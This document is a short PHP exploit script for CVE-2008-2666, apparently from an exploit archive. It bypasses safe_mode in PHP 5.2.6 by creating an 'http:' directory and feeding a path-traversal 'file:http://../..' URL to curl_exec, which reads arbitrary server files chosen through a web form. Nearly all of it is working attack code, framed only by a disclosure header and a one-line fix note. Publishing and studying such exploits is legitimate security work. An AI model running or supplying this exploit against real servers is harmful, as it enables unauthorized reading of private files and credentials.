<?php
/*
Exploit for CVE-2008-2666:
http://securityreason.com/achievement_securityalert/55

Orginal URL
http://securityreason.com/achievement_exploitalert/10

safe_mode Bypass PHP 5.2.6
by Maksymilian Arciemowicz http://securityreason.com
cxib [at] securityreason [dot] com

How to fix?
Do not use safe_mode as a main safety
*/

echo "<PRE><P>This is exploit from <a href=\"http://securityreason.com\">http://securityreason.com</a>Maksymilian Arciemowicz<p>Script for legal use only.<p>PHP 5.2.6 safe_mode bypass<p>More: <a  href=\"http://securityreason.com/news/0/0x24\">http://securityreason.com/news/0/0x24</a><p><form name=\"form\" action=\"http://".$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["SCRIPT_NAME"])."\" method=\"post\"><input type=\"text\" name=\"file\" size=\"50\" value=\"\"><input type=\"submit\" name=\"studiaNAuwrCZYpwrTOmanipulacja\" value=\"Show\"></form>\n";

if(!is_dir(dirname(__FILE__)."/http:")){ // can work without this requirement
if(!is_writable(dirname(__FILE__))) die("<b>I can't create http:directory</b>");
mkdir("http:");
}

if(empty($file) and empty($_GET['file']) and empty($_POST['file']))
die("\n".$karatonik);

if(!empty($_GET['file'])) $file=$_GET['file'];
if(!empty($_POST['file'])) $file=$_POST['file'];


if((curl_exec(curl_init("file:http://../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../".$file))) and !empty($file)) die("<B><br>best regards cxib from securityreason.com</B></FONT>");
elseif(!emptY($file)) die("<FONT COLOR=\"RED\"><CENTER>Sorry... File<B>".htmlspecialchars($file)."</B> doesn't exists or you don't have permissions.</CENTER></FONT>");
?>

php 5.2.6 safe_mode bypass exploit

php

PHP